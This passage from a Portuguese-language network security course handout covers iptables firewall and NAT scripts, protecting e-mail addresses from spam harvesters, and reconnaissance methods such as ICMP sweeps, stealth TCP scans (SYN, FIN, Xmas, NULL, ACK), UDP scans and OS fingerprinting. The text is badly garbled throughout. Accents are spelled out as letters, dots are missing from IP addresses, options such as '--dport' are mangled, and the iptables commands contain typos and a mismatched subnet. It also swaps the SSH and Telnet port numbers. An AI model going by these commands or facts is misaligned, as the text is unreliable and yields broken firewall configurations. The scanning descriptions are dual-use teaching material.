ppp+)-s informa a origem do pacote este valor pode ser um endereccedilo ip (19216825415)pode ser uma classe ip (19216825425424) pode ser um nome de maquina(ftpcyberootscombr) ou um domiacutenio ( cyberootscombr )--sport informa a porta a partir da qual o pacote seraacute enviado porta de origem-d informa o destino do pacote--dport informa a porta de destino do pacote-j informa o de deve ser feito com o pacote ou seja o alvo da regraProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 30 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Alvos da regrasQuando um fluxo se enquadra em todos os quesitos especificados por uma regra ele poderaacute entrar

na maacutequina ser rejeitado ou outras accedilotildees poderatildeo ser realizadas a estas accedilotildees damos o nome de alvo daregra ou fluxo Os principais alvos implementados pelo iptables satildeoACCEPT permite a entrada ou a saiacuteda ou o forward do pacoteDROP descarta o pacote sem comunicar a origem que o mesmo foi rejeitado idealpara ocultar a existecircncia do firewallREJECT descarta o pacote informando a origem que ele foi rejeitado pelo destinoLOG registra o pacote em um arquivo de log que pode ser especificado atraveacutes dosniacuteveis de log do sistema mas por default as mensagens satildeo enviadas para o arquivoldquovarlogmessagesrdquoSNAT altera o endereccedilo de origem do pacote que atendeu as caracteriacutesticasespecificadasDNAT altera o endereccedilo de destino do pacoteREDIRECT redireciona o pacote para uma porta diferenteProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 31 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Exemplos de scripts de Firewall(a) Firewall para bloquear todo o fluxo de dados soacute liberando o fluxo na interface lo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT DROPiptables -P FORWARD DROP liberando a interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT(b) Firewall para liberar o acesso no servidor web aos protocolos http e https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -j ACCEPT(c) Firewall para liberar o acesso serviccedilo http para acesso externo ( eth1) e acesso pela intranet (eth0) naporta 8080

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 32 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005 definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT(d) Firewall para um servidor que hospeda os serviccedilos http (80) https (443) imap (143) pop3 (110) smtp(25) ftp (21) ssh (22) De tal modo que todos os serviccedilos possam ser acessados pela intranet (eth1) e osuacutenicos serviccedilos que podem ser acessados pela internet (eth0) satildeo o http e o https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso pela internet (eth0)iptables -A INPUT -p tcp ndashdport 80 -i eth0 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT liberando acesso pela internet (eth1)iptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 143 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 110 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 25 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 21 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 22 -i eth1 -j ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 33 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(e) Firewall para um servidor que_ proiba que qualquer pacote oriundo de nossa LAN (192168254024) possa ser direcionado aosite ldquowwwsexocombrrdquo_ proiba que qualquer pacote oriundo do host ldquowwwcrackercomrdquo possa penetrar na nossa rede

_ permitir a entrada de pacotes oriundos do site ldquowwwcyberootsorgbrrdquo na nossa rede_ todos os pacotes oriundos da interface ldquoeth1rdquo do firewall devem ser redirecionados para ocomputador 192168254254_ todos os pacotes que desejam sair (eth0) da rede local para outra rede tenham seus endereccedilosde origem alterados para 1461643290_ todos os pacotes que tentam entrar na rede por uma interface diferente da ldquoeth0rdquo devem serdescartados o mesmo deve ocorrer com qualquer pacote que tente sair por uma interfacediferente da ldquoeth2rdquo_ descarte todos os pacotes oriundos do ip 20025596171 e destinado ao IP 1921682547_ todos os pacotes destinados a porta 23 do nosso firewall sejam registrados e posteriormentedescartados poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando o traacutefego na interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT pacotes que entram no firewalliptables -A INPUT -p tcp - -dport 23 -j LOG ldquo [firewall] acesso ao serviccedilo de telnetrdquoiptables -A INPUT -p tcp - -dport 23 -j DROP regras de forwardiptables -A FORWARD -s 192158254024 -d wwwsexocombr -j DROPiptables -A FORWARD -d 192158254024 -s wwwcyberootsorgbr -j ACCEPTiptables -A FORWARD -s 20025596171 -d 1921682547 -j DROPiptables -A FORWARD -i eth1 -j DROPiptables -A FORWARD -o eth0 -j DROP regras de natiptables -t nat -A PREROUTING -i eth1 -j DNAT 19216825415iptables -t nat -A POSTROUTING -o eth1 -j SNAT 1921682541Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 34 de 71

Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005646) Alguns Fluxos de NATPara acessos agrave internet atraveacutes de uma conexatildeo discada ou banda larga que natildeo fornece endereccedilofixo podemos utilizar a regra abaixoiptables -t nat -A POSTROUTING -o ppp -j MASQUERADEJaacute para conexatildeo agrave internet atraveacutes de um endereccedilo IP fixo e conhecido podemos utilizar uma regracomo a que estaacute abaixoiptables -t nat -A POSTROUTING -s 10100024 -o eth0 -j SNAT - -to 1461643267Outra regra muito comum eacute aquela usada para redirecionar uma conexatildeo vinda da internet para a DMZ comomostra a figura abaixoiptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j DNAT - -to 101001647) Regras e configuraccedilotildees uacuteteisa) Habilitando o forward no kernel do LinuxPara permitir que o iptables instalado em uma distribuiccedilatildeo Linux faccedila forward de pacotes estafuncionalidade deve estar ativa no kernell do sistema para tal podemos utilizar a seguinte linha de comandoecho ldquo1rdquo gt procsysnetipv4ip_forwardProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 35 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 docomando a cima ou seja echo ldquo0rdquo gt procsysnetipv4ip_forwardb) Qualquer pacote cuja origem eacute o host 10031 deveraacute ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 10031 -o eth0 -j SNAT - -to 192112233c) Qualquer pacote cuja origem eacute a rede 100308 deve ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233d) Qualquer pacote cuja origem eacute a rede 100308 que sai pela interface eth0 deve ter seu endereccedilo deorigem alterado para qualquer um do intervalo 192112233-192112266iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233-192112266e) Qualquer pacote que venha do host 10031 e entre na maacutequina pela interface eth0 deve serredirecionado para o endereccedilo 192112233iptables -t nat -A PREROUTING -s 10031 -i eth0 -j DNAT - -to 192112233f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos endereccedilos dointervalo 192112210 ateacute 192112233

iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192112210-192112233g) Todos os pacotes que entram pela interface eth2 e satildeo destinados a porta 22 deve ser redirecionadospara o host 19211221iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 19211221h) Criando um proxy transparente iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 443 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 21 -j REDIRECT - -to-port 3128Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 36 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005648)Firewall a ser utilizando em um bastiatildeo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTUP ACCEPTiptables -P FORARD DROP liberado o loopbackiptables -A INPUT -i lo -j ACCEPT filtando os pacotesiptables -A INPUT -p tcp - -dport 22 -j ACCEPTiptables -A FORWARD -d 10100024 -j ACCEPTiptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 101002iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 465 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 101003Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 37 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005649) Firewall para compartilhamento do Acesso a Internet libera forward no kernelecho ldquo1rdquo gt procsysnetipv4ip_forward

Poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso a interface loiptables -A INPUT -i lo -J ACCEPT libera a entrada de conexotildees iniciadas pela maacutequinaiptables -A INPUT -m state - -state ESTABLISHEDRELATED -j ACCEPT bloqueia entrada na rede de conexotildees invaacutelidasiptables -A FORWARD -m state - -state NEWINVALID -j DROP hablitando o macascaramento com ip dinacircmicoiptables -t nat -A POSTROUTING -s 192168254024 -o eth0 -j MASQUERADE libera a entrada de conexotildees iniciadas pela redeiptables -A FORWARD -o eth0 -m state - -state ESTABLISHEDRELATED -j ACCEPT habilita o forward vinda da rede internaiptables -A FORWARD -i eth1 -s 192168254024 -J ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 38 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20057) SPAMO SPAM praacutetica tatildeo comum nos dias atuais tem se tornado um problema para a maioria dosadministradores de sistemas desenvolvedores e usuaacuterios de internet mas a medida que os filtros anti-spamevoluem as teacutecnicas utilizadas para burlar os filtros se desenvolvem mais raacutepido ainda Uma teacutecnica que temsurtido efeito eacute o uso da heuriacutestica mas seu ponto fraco eacute apresentar uma grande quantidade de falsospositivosMas uma coisa eacute certa muito administradores estatildeo ajudando os inimigos principalmente aquelesque devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existecircncia daquele e-mail

Mas alguns administradores estatildeo fazendo sua parte uma das medidas adotadas eacute a adoccedilatildeo deservidores de SMTP que requerem a autenticaccedilatildeo dos usuaacuterios antes de enviar o e-mail agrave seu destinataacuterioA seguir seratildeo apresentadas algumas teacutecnicas que podem ser utilizadas para minimizar a accedilatildeo dosspammer71) Protegendo os endereccedilos de e-mailSegundo pesquisa realizada pelo ldquoCenter for Democracy and Technology (CDT)rdquo uma dasprincipais fontes de endereccedilos de e-mail para os spammer satildeo os websites que estatildeo disponiacuteveis e que natildeorequerem autenticaccedilatildeo Neste contento alguns acham interessante excluir os e-mail das paacuteginasimpediando este tipo de coleta por parte dos spanner mas como os verdadeiros usuaacuterios teratildeo acesso aeles O que deve ser implementado eacute uma forma de evitar que os spanner possam utilizar seus ldquorobosrdquo paracoletarem de forma automaacutetica estes endereccedilos nos websitesO funcionamento destes ldquorobos garimpeirosrdquo se baseia em encontrar algumas palavras oucaracteres chaves nas paacuteginas da internet das quais pode-se estacar ldquomailtordquo ldquordquo ldquomailrdquo ldquoe-mailrdquo e etc Aaqueles que fazem uso de algum sistema operacional UNIX-Like como o Linux podem construir seuproacuteprio scanner de e-mail com alguns comandos ( wget tr send sort cat e uniq)Mas nem tudo estaacute perdido vaacuterias satildeo as teacutecnicas que camuflagem que podem ser utilizadas amais simples podem a mais problemaacutetica para o usuaacuterio eacute utilizar um e-mail ldquofalsordquo como por exemplosuporteremova-esta-partecyberootscombr apesar de ser eficiente esta teacutecnica pode complicar a vidado usuaacuterios mais leigos que tambeacutem natildeo saberatildeo distinguir qual eacute a parte vaacutelida do endereccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 39 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Outra forma de se proteger eacute inserir no coacutedigo html o e-mail utilizando os caracteres codificados enatildeo os caracteres em siacute por exemplo no lugar de usuarioexemplocombr deveriacuteamos utilizaramp117amp115amp117amp097amp114amp105amp11amp064amp101amp120amp101amp109amp112amp108amp111amp046amp099amp111amp109amp046amp098amp114Todos os navegadores existentes conseguem interpretar estes caracteres codificados mas os robosutilizados pelos spammer natildeo possuem ferramentas para interpretar estes caracteres natildeo ainda

Outra teacutecnica que pode ser utilizada satildeo os java scripts que tambeacutem natildeo satildeo interpretados pelosrobos podemos por exemplo usa a funccedilatildeo docummentwriter() para escrever o conteuacutedo do e-mail quepermitiraacute aos usuaacuterios visualizarem o endereccedilo mas que iratildeo confundir as sondas de coleta ainda nestesentido podemos colocar o endereccedilo de e-mail em um arquivo externoA criptografia tambeacutem pode nos ajudar uma forma bem simploacuteria de resolver o problema eacute utilizar afunccedilatildeo ldquoXORrdquo da loacutegica matemaacutetica para esconder o conteuacutedo do texto no coacutedigo e utilizar o java script pararealizar a decodificaccedilatildeo do endereccedilo Mesmo sem uma forma fraca de criptografia ela eacute muito eficientescontra os robos dos spammers Mas os clientes que natildeo possuem o java script habilitado natildeo poderatildeovisualizar o endereccedilo de e-mail contudo a grande maioria dos navegadores jaacute possuem suporte a javascript basta entatildeo solicitar ao usuaacuterio que o habilite em seu navegadorMas quem falou que e-mail tem que ser representado na forma de texto puro Se utilizarmos umafigura contendo o endereccedilo de e-mail como a maioria dos robos natildeo verificam o conteuacutedos das figuras oendereccedilo passaraacute desapercebido Todavia tambeacutem podemos utilizar uma animaccedilatildeo flash para a mesmafinalidade mas o flash nem sempre estaacute instalado na maacutequina do visitante e ele ainda natildeo foi portado paratodas as plataforma que suportam o uso de navegadores webEntretanto se o motivo de se expor o endereccedilo de e-mail eacute para que os visitantes possam entrar emcontato podemos trocar este endereccedilo por um formulaacuterio simples que pode ser usado para a mesmafinalidadeMas se seu objetivo eacute descobrir quem estaacute garimpando seu site atraacutes de endereccedilo de e-mail crieendereccedilos de e-mails dinacircmicos atraveacutes de java script de tal modo que ele contenha a data hora eendereccedilo ip de quem estaacute acessando a paacutegina logo ao receber um e-mail para endereccedilos invalidos seuservidor de e-mail pode repassaacute-los para uma conta especial que o administrador deveraacute monitorar com istoseraacute possiacutevel determinar quem ou de onde os robos estatildeo sendo disparadosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 40 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20058) Analisando e varrendo a RedePara realizar a varredura da rede caracteriacutesticas especiacuteficas do seu protocolo devem serexploradas Como o protocolo de rede utilizado na especificaccedilatildeo do modelo eacute o TCPIP as teacutecnicas de

varredura aqui descritas satildeo aquelas que se baseiam nas caracteriacutesticas desta pilha de protocoloSobre a pilha do TCPIP existem trecircs tipos baacutesicos de varreduras uma baseada no seu protocolo decontrole (ICMP) outra no protocolo TCP e a terceira no protocolo UDP Dentre as varreduras a maisutilizada eacute a TCP isto se deve ao elevado niacutevel de exatidatildeo que esta coleta de dados propicia81) Varredura ICMP - Internet Control Message ProtocolUma das teacutecnicas mais simples de varredura eacute a Varredura via ICMP O protocolo ICMP eacutenormalmente utilizado para o envio e recebimento de informaccedilotildees sobre o funcionamento dos noacutes como porexemplo data e horaAtraveacutes deste protocolo eacute possiacutevel implementar vaacuterios meacutetodos de varreduras como por exemploenvio de ECHO e ECHO Reply anaacutelise de mensagens de erro geradas por um noacute uso de Trace Routecom ICMP ECHO e etcICMP ECHO e ECHO Reply Esta varredura consiste no envio de pacotes do tipo ICMPECHO ao noacute alvo e aguardar por uma resposta Todo noacute ativo deve responder a esta mensagem com umpacote do tipo ICMP ECHO Reply Quando um noacute natildeo responde aos pacotes ICMP ECHO dentro de umintervalo de tempo (time-out) o mesmo pode estar desconectado ou sendo filtrado por algum firewall ougateway de bordaUm exemplo de varredura via ICMP eacute a utilizaccedilatildeo do comando ping que eacute um aplicativopadratildeo TCPIP que estaacute presente em vaacuterias arquiteturas eacute permite o envio de pacotes dotipo ICMP ECHO para verificar se um noacute estaacute ativo Poreacutem esta forma de verificaccedilatildeo natildeo eacuteindicada para redes com mais do que poucas dezenas de noacutes O ping sempre espera aresposda de um noacute ao pacote enviado ou ateacute que ocorra o time-out antes de enviar umoutro pacoteUma alternativa ao ping eacute o aplicativo fping que eacute utilitaacuterio de rede disponiacutevel para asplataformas Unix-Like e que funciona de forma anaacuteloga ao ping mas com o envio depacotes de forma paralela que utiliza a mesma teacutecnica entretanto realiza o envio dosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 41 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005pacotes ICMP de forma simultacircnea para vaacuterios endereccedilos acelerando o processo de

varredura da rede Outra funcionalidade deste aplicativo eacute a possibilidade de se configurar otime-out da conexatildeoO uso do endereccedilo de Broadcast e de Rede satildeo duas alternativas que podem ser utilizadasneste tipo de varredura Neste caso todos os noacutes ativos na rede devem responder ao noacuteque originou a mensagem com um pacote ICMP ECHO Reply Desta forma com um uacutenicopacote eacute possiacutevel varrer todo um segmento de rede Entretanto esta teacutecnica soacute pode seraplicada para noacutes baseados no Unix uma vez que maacutequinas com sistema operacional daMicrosoft natildeo respondem a solicitaccedilatildeo ICMP quando enviada ao endereccedilo de Broadcast oude RedePois segundo a RFC1122 se um pacote ICMP ECHO eacute enviado via endereccedilo deBroadcast ou de Rede o mesmo pode ser silenciosamente descartado pelo noacutes que orecebeA varredura utilizando endereccedilo de Broadcast ou Rede pode provocar uma negaccedilatildeo deserviccedilo ( DoS - Denial-of-Service) no noacute responsaacutevel pelo envio dos pacotes ICMP ECHOEsta negaccedilatildeo de serviccedilo ocorre devido agrave grande quantidade de pacotes de resposta que elerecebe para cada pacote ICMP geradoNon-ECHO ICMP Aleacutem da mensagem ICMP ECHO o protocolo ICMP implementa vaacuteriosoutros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no proacutepriomapeamento de dispositivos de rede Dentre as principais mensagens ICMP pode-se destacar ECHO( Request - Tipo 8 Reply - Tipo 0) Time Stamp ( Request - Tipo 13 Reply - Tipo 14) Information( Request - Tipo 15 Reply - Tipo 16) e Address Mask ( Request - Tipo 17 Reply - Tipo 18)O envio de mensagens do tipo ICMP Time Stamp Request eacute utilizado normalmente paraquestionar a um noacute a sua hora e data atual Receber uma resposta ICMP Time StampReply significa que o noacute estaacute ativo Contudo as mensagens ICMP Time Stamp Requestnatildeo costumam ser respondidas por noacutes com um dos sistemas operacionais da Microsoft Ocomportamento dos sistemas da Microsoft se deve agrave forma como a RFC 1122 foiinterpretada pelos seus desenvolvedores

A mensagem ICMP Address Mask Request eacute utilizada por uma maacutequina sem disco paraobter a maacutescara de rede durante seu processo de boot e tambeacutem pode ser utilizada pararealizar a varredura da redeQuando uma solicitaccedilatildeo deste tipo eacute feita atraveacutes do endereccedilo de Broadcast todos os noacutesProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 42 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005que estatildeo configurados para responder a esta mensagem envia um reply com oendereccedilo solicitado Normalmente este tipo de mensagem eacute respondida por GatewaysRoteadores e em alguns casos por maacutequinas que funcionam como agentes autorizadospara o fornecimento de maacutescara de redeICMP Error Messages Este meacutetodo consiste no envio de mensagens formatadas de talmodo que ao serem recebidas pelo noacute produziratildeo uma mensagem de erro do protocolo ICMPUma das formas de se provocar uma mensagem de erro eacute atraveacutes do envio de pacotes IPque possuem em seu cabeccedilalho campos incorretos Pacotes deste tipo normalmente geramuma mensagem de erro do tipo ICMP Parameter Problem Error que normalmentepossui o campo Code configurado para zero (0) Esta varredura permite identificar noacutesativos independentemente dos protocolos (TCPUDPICMP) implementados por eles quetambeacutem pode ser empregada sobre roteadores Contudo roteadores realizam umaverificaccedilatildeo mais relaxada dos campos do cabeccedilalho IP como afirma a RFC1812 Outra vantagem eacute que esta teacutecnica pode ser aplicada mesmo se o noacute estaacute sendo filtradopor algum firewall uma vez que as mensagens forjadas podem ser enviadas para portasespeciacuteficas como por exemplo as portas TCP 21 25 80 e UDP 53ICMP Fragment Reassembly Time Exceeded Quando um noacute recebe um datagramafragmentado em vaacuterios pacotes e ao remontaacute-los percebe que estatildeo faltando alguns pacotes ele osaguarda por um determinado periacuteodo de tempo quando entatildeo iraacute descartar todos os pacotes e enviaraacute aonoacute que originou os datagramas uma mensagem de erro do tipo ICMP Fragment Reassembly TimeExceeded

ICMP Fragmentation Needed and Dont Fragment Bit was Set Quando um roteadorrecebe uma mensagem ele verifica o valor do campo PMTU se este for maior do que o valor que eleestaacute utilizando o roteador pode retornar ao noacute que gerou o pacote uma mensagem de erro do tipo ICMPFragmentation Needed and Dont Fragment Bit was Set Utilizando esta teacutecnica eacute possiacutevel determinar a existecircncia de Roteadores entre a maacutequinaalvo e a maacutequina atual bem como informaccedilotildees especiacuteficas que podem ajudar agrave determinara suposta marca e modelo deste equipamentoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 43 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200582) Varredura de PortasVaacuterios gateways de seguranccedila impedem o envio e o recebimento de pacotes ICMP entre redesdistintas para inibir a varredura ICMP Quando as varreduras baseadas no protocolo ICMP natildeo podem ser utilizadas a Varredura dePortas eacute uma alternativa eficiente uma vez que sempre existem portas atraveacutes das quais um gatewaypermite o traacutefego de entrada e saiacuteda como eacute o caso das portas 21 (FTP) 22 (Telnet) 23 (SSH) 25(SMTP) 80 (HTTP) 110 (POP) e 443 (HTTPS) As varreduras de porta satildeo normalmente baseadas ou no protocolo TCP ou no protocolo UDP Devido agrave suas caracteriacutesticas o protocolo TCP eacute aquele que apresenta a maior variedade de tipos devarredura821) Varredura de Portas TCPA varredura de portas TCP eacute feita pelo envio de pacotes agrave porta alvo e aguardando-se pelasrespostas Quando a porta alvo responde os pacotes recebidos teratildeo alguns de seus campos analisados ecom base nesta anaacutelise seraacute possiacutevel determinar se a porta estaacute aberta e o noacute ativoAtualmente existem vaacuterios tipos de varredura TCP algumas das quais satildeo descritas a seguirVarredura de Conexatildeo TCP Nesta varredura a maacutequina de origem tenta estabelecer umaconexatildeo vaacutelida com a porta alvo durante a qual deve ocorrer o 3 way handshake do protocolo TCP esteprocesso consiste no envio de um pacote SYN agrave porta alvo no recebimento de um pacote SYNACK e finalmente no envio do pacote ACK agrave porta alvo Caso a conexatildeo seja completada com sucesso eacutepossiacutevel afirmar que a porta estaacute aberta e o noacute ativo

Por realizar uma conexatildeo completa esta varredura pode ser facilmente percebida porferramentas de detecccedilatildeo de intrusatildeo e por essa razatildeo raramente eacute utilizada com finalidade furtivaVarredura TCP SYN esta varredura tambeacutem eacute conhecida como varredura semi-aberta pois aoreceber o pacote SYNACK vindo da porta alvo o noacute que originou a primeiro pacote natildeo responde como pacote ACK Ao receber o pacote com os bits SYNACK setados o noacute pode-se afirmar que a portaestaacute aberta Contudo se for recebido um pacote com os bits RSTACK a porta provavelmente natildeo estaacuteno estado de escutaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 44 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Por ser uma teacutecnica mais furtiva vaacuterios sistema de monitoramento natildeo registram este tipo devarreduraVarredura TCP FIN este teacutecnica eacute muito utilizada contra sistemas baseados em UNIX poisquando estes recebem um pacote FIN destinado agrave porta fechada eles enviam de volta um pacote RSTcontudo o mesmo natildeo acontece com sistemas Windows que ignoram o pacote Este padratildeo eacute documentadona RFC793 Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits FIN URG ePUSH ligados agrave porta alvo e segundo a RFC793 toda porta fechada deve responder com um pacoteRSTVarredura TCP NULL Quando uma porta alvo recebe um pacote com todos os flags desligados(setados como 0) ela deve responder com um pacote RST caso esteja fechadaVarredura TCP ACK Esta teacutecnica eacute usada para mapear regras de um determinado firewallpermitindo determinar se o firewall eacute apenas um filtro de pacote ou um firewall de estadosVarredura TCP Windows Esta teacutecnica analisa o tamanho do campo Window do protocolo TCP epermite determinar se a porta estaacute aberta filtrada ou natildeo filtrada Esta anaacutelise eacute possiacutevel pois algunsgateways de seguranccedila alteram o valor deste campo quando filtram determinadas portasVarredura TCP RPC Esta teacutecnica permite identificar qual eacute a versatildeo dos aplicativos RPC footnoteO serviccedilo RPC (Remote Procedure Call) eacute especifico do sistema operacional UNIX que estatildeo ativos em

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP 